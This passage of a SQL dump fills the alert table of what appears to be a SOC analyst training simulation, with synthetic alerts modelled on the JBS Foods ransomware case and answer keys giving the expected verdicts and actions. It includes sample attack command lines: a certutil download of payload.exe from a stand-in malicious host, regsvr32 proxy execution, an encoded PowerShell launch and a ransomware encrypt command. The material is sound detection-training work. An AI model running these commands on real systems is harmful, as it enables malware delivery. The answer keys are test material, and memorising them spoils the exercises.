1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T14:23:01Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.10.10.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"ADMIN-PC\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"regsvr32.exe /i /n C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\sample.dll\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.416Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T14:23:01Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.10.10.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"ADMIN-PC\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"regsvr32.exe /i /n C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\sample.dll\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.416Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T14:23:01Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.10.10.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"ADMIN-PC\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"regsvr32.exe /i /n C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\sample.dll\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.416Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T14:23:01Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.10.10.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"ADMIN-PC\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"regsvr32.exe /i /n C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\sample.dll\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(769, 'False Positive - Misconfigured Security Tool Trigger', 'medium', 'IDS/IPS', 'An internal misconfiguration caused a legitimate traffic flow to be flagged as suspicious.', 'False Positive', '', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T15:45:22Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.20\",\"dst_ip\":\"192.168.1.30\",\"username\":\"svc-network\",\"hostname\":\"NET-SERVER\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-01-11 17:29:28', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address used by the organization\'s network.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address used by the organization\'s network.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"false_positive\",\"analysis_notes\":\"The network connection is between two internal IPs and is expected behavior.\"}', 'Advanced', 'NDR', 8, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.417Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T15:45:22Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"svc-network\\\",\\\"hostname\\\":\\\"NET-SERVER\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.417Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T15:45:22Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"svc-network\\\",\\\"hostname\\\":\\\"NET-SERVER\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.417Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T15:45:22Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"svc-network\\\",\\\"hostname\\\":\\\"NET-SERVER\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.417Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T15:45:22Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"svc-network\\\",\\\"hostname\\\":\\\"NET-SERVER\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.417Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T15:45:22Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"svc-network\\\",\\\"hostname\\\":\\\"NET-SERVER\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(770, 'C2 Communication Detected via Certutil', 'high', 'EDR', 'Detected suspicious network activity suggesting potential command-and-control communication using Certutil.', 'Malware', 'T1218.010', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T12:32:08Z\",\"event_type\":\"process_execution\",\"src_ip\":\"172.16.0.10\",\"dst_ip\":\"203.0.113.100\",\"username\":\"maluser\",\"hostname\":\"INFECTED-HOST\",\"request_body\":\"\",\"command_line\":\"certutil.exe -urlcache -split -f http://maliciousserver.com/payload.exe\"}', '2026-01-11 17:29:28', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"172.16.0.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address used by the organization\'s network.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple malware distribution campaigns.\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"certutil.exe -urlcache -split -f http://maliciousserver.com/payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Certutil used for downloading malicious payloads.\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The use of Certutil to download a payload from a known malicious server indicates C2 activity.\"}', 'Advanced', 'EDR', 8, 1, 'TECH', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(771, 'Initial Access via Phishing Email', 'medium', 'Email Security Gateway Logs', 'A phishing email was identified targeting JBS Foods\' employees with the objective to gain initial access to the network. The email contained a malicious attachment disguised as a financial report.', 'Social Engineering', 'T1566.001', 1, 'investigating', 74, '{\"timestamp\":\"2023-10-21T14:32:00Z\",\"email_id\":\"1234567890\",\"sender_email\":\"finance-dept@jbsfoods-fake.com\",\"recipient_email\":\"john.doe@jbsfoods.com\",\"subject\":\"Quarterly Financial Report\",\"attachment\":\"Q3_Report_2023.docm\",\"attachment_hash\":\"e99a18c428cb38d5f260853678922e03\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.105\",\"malware_family\":\"Emotet\",\"action_taken\":\"Quarantined\"}', '2026-01-11 23:33:15', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known phishing campaign origin IP.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Emotet malware hash.\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"finance-dept@jbsfoods-fake.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Email Reputation Service\",\"verdict\":\"suspicious\",\"details\":\"Domain registered recently and used in phishing campaigns.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'novice', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Initial Access via Phishing Email\",\"date\":\"2026-02-01T20:32:22.419Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(772, 'Ransomware Deployment and Execution', 'high', 'Endpoint Detection and Response (EDR) Alerts', 'Following initial access, the REvil ransomware was executed, leading to encryption of critical systems within JBS Foods\' network. This phase of the operation is crucial to disrupt and mitigate future incidents.', 'Malware Execution', 'T1486 - Data Encrypted for Impact', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T13:45:30Z\",\"event_id\":\"1234567890\",\"event_type\":\"Ransomware Execution\",\"host_ip\":\"10.0.15.23\",\"attacker_ip\":\"185.92.220.45\",\"username\":\"jdoe\",\"process_name\":\"ransomware.exe\",\"process_hash\":\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\",\"file_path\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\ransomware.exe\",\"action\":\"File encryption started\",\"files_encrypted\":[\"C:\\\\Work\\\\finance.xlsx\",\"C:\\\\Work\\\\contracts.docx\",\"C:\\\\Work\\\\presentation.pptx\"]}', '2026-01-11 23:33:15', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.15.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"185.92.220.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat intelligence\",\"verdict\":\"malicious\",\"details\":\"Associated with REvil ransomware operations.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware database\",\"verdict\":\"malicious\",\"details\":\"Known hash for REvil ransomware payload.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"ransomware.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"endpoint detection\",\"verdict\":\"malicious\",\"details\":\"Detected ransomware executable.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'novice', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(773, 'Bitcoin Ransom Payment and Tracking - Transaction Analysis', 'medium', 'Blockchain Analysis Tools', 'After the ransomware attack on JBS Foods, a Bitcoin transaction was detected that corresponds to the ransom payment. Analysts will trace the transaction 3ke8iWq9kYxF3vF7bKX6Vh8e9PbXo1B8y1 and its association with known malicious activities. The objective is to explore how a portion of the funds was recovered by the FBI, emphasizing the role of financial forensics in cybercrime investigations.', 'Financial Transaction Tracing', 'T1589 - Gather Victim Identity Information', 1, 'new', NULL, '{\"transaction_id\":\"3ke8iWq9kYxF3vF7bKX6Vh8e9PbXo1B8y1\",\"timestamp\":\"2023-09-14T15:32:10Z\",\"amount_btc\":11.5,\"source_wallet\":\"1JBSFoodWalletAddress\",\"destination_wallet\":\"1AttackerWalletAddress\",\"internal_ip\":\"192.168.1.105\",\"external_ip\":\"203.0.113.45\",\"associated_hashes\":[\"3a6ebf1a27c8f2bd2d6f8e6e5b9d4f1f\",\"8b2b1b18d4f4e5c6a2e1d7f8a9c3e6d5\"],\"filename\":\"RansomwarePayload.exe\",\"user\":\"jbs_admin\"}', '2026-01-11 23:33:15', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"3a6ebf1a27c8f2bd2d6f8e6e5b9d4f1f\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Associated with known ransomware campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AlienVault OTX\",\"verdict\":\"malicious\",\"details\":\"IP address linked to previous ransomware activities.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"RansomwarePayload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Cisco Talos\",\"verdict\":\"malicious\",\"details\":\"Identified as a ransomware payload.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'novice', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.420Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"transaction_id\\\":\\\"3ke8iWq9kYxF3vF7bKX6Vh8e9PbXo1B8y1\\\",\\\"timestamp\\\":\\\"2023-09-14T15:32:10Z\\\",\\\"amount_btc\\\":11.5,\\\"source_wallet\\\":\\\"1JBSFoodWalletAddress\\\",\\\"destination_wallet\\\":\\\"1AttackerWalletAddress\\\",\\\"internal_ip\\\":\\\"192.168.1.105\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"associated_hashes\\\":[\\\"3a6ebf1a27c8f2bd2d6f8e6e5b9d4f1f\\\",\\\"8b2b1b18d4f4e5c6a2e1d7f8a9c3e6d5\\\"],\\\"filename\\\":\\\"RansomwarePayload.exe\\\",\\\"user\\\":\\\"jbs_admin\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.420Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"transaction_id\\\":\\\"3ke8iWq9kYxF3vF7bKX6Vh8e9PbXo1B8y1\\\",\\\"timestamp\\\":\\\"2023-09-14T15:32:10Z\\\",\\\"amount_btc\\\":11.5,\\\"source_wallet\\\":\\\"1JBSFoodWalletAddress\\\",\\\"destination_wallet\\\":\\\"1AttackerWalletAddress\\\",\\\"internal_ip\\\":\\\"192.168.1.105\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"associated_hashes\\\":[\\\"3a6ebf1a27c8f2bd2d6f8e6e5b9d4f1f\\\",\\\"8b2b1b18d4f4e5c6a2e1d7f8a9c3e6d5\\\"],\\\"filename\\\":\\\"RansomwarePayload.exe\\\",\\\"user\\\":\\\"jbs_admin\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.420Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"transaction_id\\\":\\\"3ke8iWq9kYxF3vF7bKX6Vh8e9PbXo1B8y1\\\",\\\"timestamp\\\":\\\"2023-09-14T15:32:10Z\\\",\\\"amount_btc\\\":11.5,\\\"source_wallet\\\":\\\"1JBSFoodWalletAddress\\\",\\\"destination_wallet\\\":\\\"1AttackerWalletAddress\\\",\\\"internal_ip\\\":\\\"192.168.1.105\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"associated_hashes\\\":[\\\"3a6ebf1a27c8f2bd2d6f8e6e5b9d4f1f\\\",\\\"8b2b1b18d4f4e5c6a2e1d7f8a9c3e6d5\\\"],\\\"filename\\\":\\\"RansomwarePayload.exe\\\",\\\"user\\\":\\\"jbs_admin\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.420Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"transaction_id\\\":\\\"3ke8iWq9kYxF3vF7bKX6Vh8e9PbXo1B8y1\\\",\\\"timestamp\\\":\\\"2023-09-14T15:32:10Z\\\",\\\"amount_btc\\\":11.5,\\\"source_wallet\\\":\\\"1JBSFoodWalletAddress\\\",\\\"destination_wallet\\\":\\\"1AttackerWalletAddress\\\",\\\"internal_ip\\\":\\\"192.168.1.105\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"associated_hashes\\\":[\\\"3a6ebf1a27c8f2bd2d6f8e6e5b9d4f1f\\\",\\\"8b2b1b18d4f4e5c6a2e1d7f8a9c3e6d5\\\"],\\\"filename\\\":\\\"RansomwarePayload.exe\\\",\\\"user\\\":\\\"jbs_admin\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.420Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"transaction_id\\\":\\\"3ke8iWq9kYxF3vF7bKX6Vh8e9PbXo1B8y1\\\",\\\"timestamp\\\":\\\"2023-09-14T15:32:10Z\\\",\\\"amount_btc\\\":11.5,\\\"source_wallet\\\":\\\"1JBSFoodWalletAddress\\\",\\\"destination_wallet\\\":\\\"1AttackerWalletAddress\\\",\\\"internal_ip\\\":\\\"192.168.1.105\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"associated_hashes\\\":[\\\"3a6ebf1a27c8f2bd2d6f8e6e5b9d4f1f\\\",\\\"8b2b1b18d4f4e5c6a2e1d7f8a9c3e6d5\\\"],\\\"filename\\\":\\\"RansomwarePayload.exe\\\",\\\"user\\\":\\\"jbs_admin\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(774, 'Initial Compromise via Phishing', 'high', 'Employee email system logs', 'A spear-phishing email was detected targeting JBS Foods employees. The email contained a malicious link designed to gain initial access to the network. The email was sent from a suspicious external IP address and included a known malicious attachment.', 'Phishing Attack', 'T1566.001 - Spearphishing Link', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:45Z\",\"email_id\":\"1234567890\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.5.25\",\"sender_email\":\"attacker@evilmail.com\",\"recipient_email\":\"employee@jbsfoods.com\",\"subject\":\"Urgent: Action Required\",\"malicious_link\":\"http://malicious-link.com/securelogin\",\"attachment\":{\"filename\":\"Important_Document.pdf\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\"},\"user_action\":\"clicked_link\"}', '2026-01-11 23:35:35', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known phishing IP used in previous attacks\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-link.com/securelogin\",\"is_critical\":true,\"osint_result\":{\"source\":\"URL Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Phishing URL hosting credential theft page\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"suspicious\",\"details\":\"Associated with phishing campaign\"}},{\"id\":\"artifact_4\",\"type\":\"email\",\"value\":\"attacker@evilmail.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Email Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Sender identified in multiple phishing incidents\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'expert', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Initial Compromise via Phishing\",\"date\":\"2026-02-01T20:32:22.421Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(775, 'Ransomware Deployment', 'critical', 'Endpoint detection and response (EDR) tools', 'Upon gaining access, the attackers executed the Sodinokibi ransomware, encrypting key systems to disrupt operations and increase the urgency of the ransom demand. The ransomware was executed on a critical server, leading to widespread encryption of important files.', 'Malware Execution', 'T1486: Data Encrypted for Impact', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-21T15:43:21Z\",\"event_id\":\"EDR-123456\",\"source_ip\":\"198.51.100.23\",\"destination_ip\":\"192.168.1.10\",\"username\":\"jdoe\",\"file_executed\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\sodinokibi.exe\",\"file_hash\":\"a1b2c3d4e5f678901234567890abcdef1234567890abcdef1234567890abcdef\",\"process_id\":4567,\"command_line\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\sodinokibi.exe -encrypt C:\\\\ImportantFiles\",\"file_size\":\"51200\",\"malicious\":true,\"detection_method\":\"behavioral\",\"severity\":\"Critical\"}', '2026-01-11 23:35:35', '2026-02-16 18:01:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known ransomware deployment campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Critical internal server.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"a1b2c3d4e5f678901234567890abcdef1234567890abcdef1234567890abcdef\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as Sodinokibi ransomware.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"internal\",\"details\":\"User account possibly compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'expert', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
